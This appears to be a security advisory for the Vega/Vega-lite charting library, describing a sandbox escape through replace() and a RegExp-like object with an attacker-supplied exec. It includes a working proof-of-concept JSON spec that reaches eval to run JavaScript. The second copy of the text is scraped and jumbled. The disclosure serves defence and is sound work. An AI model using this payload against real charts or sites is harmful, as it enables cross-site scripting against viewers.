Impact
Users running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library is used with the vega-interpreter.
Workarounds
POC Summary
Calling replace with a RegExp-like pattern calls RegExp.prototype[@@replace], which can then call an attacker-controlled exec function.
POC Details
Consider the function call replace('foo', {__proto__: /h/.constructor.prototype, global: false}). Since pattern has RegExp.prototype[@@replace], pattern.exec('foo') winds up being called.
The resulting malicious call looks like this:
replace(<string argument>, {__proto__: /h/.constructor.prototype, exec: <function>, global: false})
Since functions cannot be returned from this, an attacker that wishes to escalate to XSS must abuse event.view to gain access to eval.
Reproduction steps
{"$schema":"https://vega.github.io/schema/vega/v5.json","signals":[{"name":"a","on":[{"events":"body:mousemove{99999}","update":"replace('alert(1)',{__proto__:/h/.constructor.prototype,exec:event.view.eval,global:false})"}]}]}
References
FallingPineapples Reporter
hydrosquall Remediation developer
domoritz Remediation reviewer
Impact
Users running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library is used with the
vega-interpreter.Workarounds
vegawith expression interpreter5.32.0)POC Summary
Calling
replacewith aRegExp-like pattern callsRegExp.prototype[@@replace], which can then call an attacker-controlledexecfunction.POC Details
Consider the function call
replace('foo', {__proto__: /h/.constructor.prototype, global: false}). SincepatternhasRegExp.prototype[@@replace],pattern.exec('foo')winds up being called.The resulting malicious call looks like this:
Since functions cannot be returned from this, an attacker that wishes to escalate to XSS must abuse
event.viewto gain access toeval.Reproduction steps
References